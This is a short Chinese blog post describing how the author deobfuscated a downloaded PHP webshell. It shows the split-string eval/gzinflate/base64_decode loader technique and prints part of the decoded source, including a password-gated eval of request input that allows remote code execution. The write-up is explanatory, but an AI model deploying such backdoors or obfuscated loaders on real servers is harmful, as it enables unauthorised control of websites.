标签:php 破解 webshell crack base64
由于学习需要最近注册了一个国外的php空间 鉴于自带php管理系统体验太差 想找一个靠谱的webshell来代替 经过几分钟的搜索 终于在网上找到了一个界面和功能都很不错的php webshell
如图:
当我想再加上自己diy的几个功能时 打开代码一看:
竟然是乱码! 于是。。心中闪过了一些邪恶的想法。。破解它!
首先 我注意到了base64_encode这个函数,于是 写了一个<?php echo base64_decode($str)?>来讲代码显示出来 结果出现了下面的一幕:
我尼玛 比刚才还乱。
又回头仔细看了看代码 发现主要解释加密的代码部分是这样写的:
e'.'va'.'l(gz'.'inf'.'lat'.'e(bas'.'e64_'.'deco'.'de(\'7L35dxzXfSf6......加密部分采用了base64编码 但是我忽略了gzinflat()函数!代码是先将加密部分解码 然后再解压缩来执行的!
将eval改成echo 果然:
由于php在输出网页时还会自己添加一些标签影响到代码的提取 因此我将echo改为了file_put_contents()
file_put_contents("shell.php",gz'.'inf'.'lat'.'e(bas'.'e64_'.'deco'.'de(\'大功告成!
ob_start();
define('myaddress',$_SERVER['SCRIPT_FILENAME']);
define('envlpass',$password);
define('shellname',$shellname);
define('myurl',$myurl);
if(@get_magic_quotes_gpc()){
foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
}
if(isset($_REQUEST[envlpass])){
hmlogin(2);
@eval($_REQUEST[envlpass]);
exit;}
if($_COOKIE['envlpass'] != md5(envlpass)){
if($_POST['envlpass']){
if($_POST['envlpass'] == envlpass){
setcookie('envlpass',md5($_POST['envlpass']));
hmlogin();
}else{
echo '<CENTER>用户或密码错误</CENTER>';
}
}
islogin($shellname,$myurl);
exit;
}
/*---End Login---*/
if(isset($_GET['down'])) do_down($_GET['down']);
if(isset($_GET['pack'])){
$dir = do_show($_GET['pack']);
$zip = new eanver($dir);
$out = $zip->out;
do_download($out,"eanver.tar.gz");................②这次破解充分证明了php代码的不易加密是一个很大的弊端 它造就了php程序的开放,也造成了众多的侵权问题。
③不得不承认 作者对php了解的很透彻 代码写得特别棒 有很多很多值得我学习的地方
④实践比理论重要的多。
标签:php 破解 webshell crack base64
原文地址:http://blog.csdn.net/qq754406613/article/details/43239977